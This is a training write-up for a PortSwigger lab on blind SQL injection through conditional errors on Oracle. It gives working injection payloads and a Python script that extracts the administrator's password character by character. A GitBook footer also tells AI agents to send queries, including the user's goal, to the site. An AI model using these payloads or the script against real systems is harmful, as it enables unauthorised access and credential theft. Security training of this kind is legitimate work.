> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/sql-injection/blind-sql-injection-with-conditional-errors.md).

# Blind SQL Injection with Conditional Errors

Blind SQL Injection with Conditional Errors notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### Blind SQL Injection with Conditional Errors

**Background:** the value of the `TrackingId` cookie is injected into an SQL query. The application does not return the result directly, but triggers a \*\* HTTP error 500\*\* when SQL expression causes an exception (here `TO_CHAR(1/0)` on Oracle). We use this string: if the condition is true → error 500, otherwise answer 200. The base contains a `users(username, password)` table. Objective: To extract the password from `administrator` and connect.

#### Principe Technique (rapide)

* The cookie contains an expression that forces an error if the condition is true, e.g. (Oracle):

{% code overflow="wrap" %}

```sql
' || (SELECT CASE WHEN <condition> THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
```

{% endcode %}

* If `<condition>` is true → request causes division by zero → application returns `500` → bit = 1. Otherwise `200` → bit = 0.
* Use `SUBSTR`/`LENGTH` to extract character by character.

#### Example Payloads (Oracle)

* Verify the existence of the user:

  ```sql
  ' || (SELECT CASE WHEN (SELECT 'a' FROM users WHERE username='administrator') = 'a' THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```
* Tester longueur = 20 :

  ```sql
  ' || (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='administrator') = 20 THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```
* Test a character in position i:

  ```sql
  ' || (SELECT CASE WHEN (SELECT SUBSTR(password, i, 1) FROM users WHERE username='administrator') = 'X' THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```

(`FROM dual` / structure can be adapted according to the request injected into the application.)

### Automated Script

```python
#!/usr/bin/env python3

import requests
import signal
import sys
import time
from string import ascii_letters, digits

# Clean Ctrl+C handling
def def_handler(sig, frame):
    print("/nInterrupted. Exiting./n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)

# --- Configuration ---
MAIN_URL = "https://0a8a00f80354f1b1803108ce00e700b6.web-security-academy.net/"
TRACKING_BASE = "HNDtc0c9ybTvqk9m"   # legitimate part of the TrackingId
SESSION_VALUE = "ZXuQT8xMsrBLG8KFDqvrccJDGFe8Z6Ra"
TIMEOUT = 6
SLEEP_BETWEEN = 0.15
MAX_PW_LEN = 50           # max length to test
ALPHABET = ascii_letters + digits + "!@#$%_-{}[]()"  # adjust if you know the alphabet

HEADERS = {"User-Agent": "Mozilla/5.0"}

# --- Utility functions ---
def send_payload(payload):
    cookies = {"TrackingId": payload, "Session": SESSION_VALUE}
    try:
        r = requests.get(MAIN_URL, cookies=cookies, headers=HEADERS,
                         timeout=TIMEOUT, allow_redirects=False, verify=True)
        return r.status_code
    except requests.exceptions.RequestException as e:
        print(f"[!] request failed: {e}")
        return None

def make_error_payload(condition_sql):
    """
    Builds the complete TrackingId for Oracle:
    ex: TRACKING_BASE' || (SELECT CASE WHEN <cond> THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
    """
    # Wrap the condition in the subquery that returns one row for admin.
    payload = (f"{TRACKING_BASE}'|| (SELECT CASE WHEN ({condition_sql}) "
               f"THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') ||'")
    return payload

# --- Step 1: detect password length (optional but useful) ---
def detect_length(max_len=MAX_PW_LEN):
    print("[*] Detecting password length...")
    for n in range(1, max_len + 1):
        cond = f"(SELECT LENGTH(password) FROM users WHERE username='administrator') = {n}"
        payload = make_error_payload(cond)
        code = send_payload(payload)
        if code == 500:
            print(f"[+] Detected length: {n}")
            return n
        time.sleep(SLEEP_BETWEEN)
    print("[!] No length detected <= max_len; consider increasing max_len")
    return None

# --- Step 2: character-by-character extraction ---
def extract_password(length=None):
    if length is None:
        length = detect_length()
        if length is None:
            # fallback: try positions until failure
            length = MAX_PW_LEN

    password = ""
    print(f"[*] Extraction (assumed length = {length})")
    for pos in range(1, length + 1):
        found = False
        for ch in ALPHABET:
            # SUBSTR(password, pos, 1) = 'ch'
            cond = f"(SELECT SUBSTR(password, {pos}, 1) FROM users WHERE username='administrator') = '{ch}'"
            payload = make_error_payload(cond)
            code = send_payload(payload)
            if code == 500:
                password += ch
                print(f"[+] pos={pos} -> '{ch}' (password so far: {password})")
                found = True
                time.sleep(SLEEP_BETWEEN)
                break
            # short pause between attempts
            time.sleep(0.01)
        if not found:
            print(f"[-] No character found at position {pos} -> probable end. Password: {password}")
            break
    return password

if __name__ == "__main__":
    # detect length then extract
    detected_len = detect_length(max_len=30)   # adjust max_len according to the environment
    recovered = extract_password(length=detected_len)
    print(f"/n[=] Recovered password (partial/estimated): {recovered}/n")
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-585f1015331c57ed2e5f870e7880d9048234958c%2F%7B3C0B8C0B-3EB1-47F4-BD9A-BB49DE8B3E9B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/sql-injection/blind-sql-injection-with-conditional-errors.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
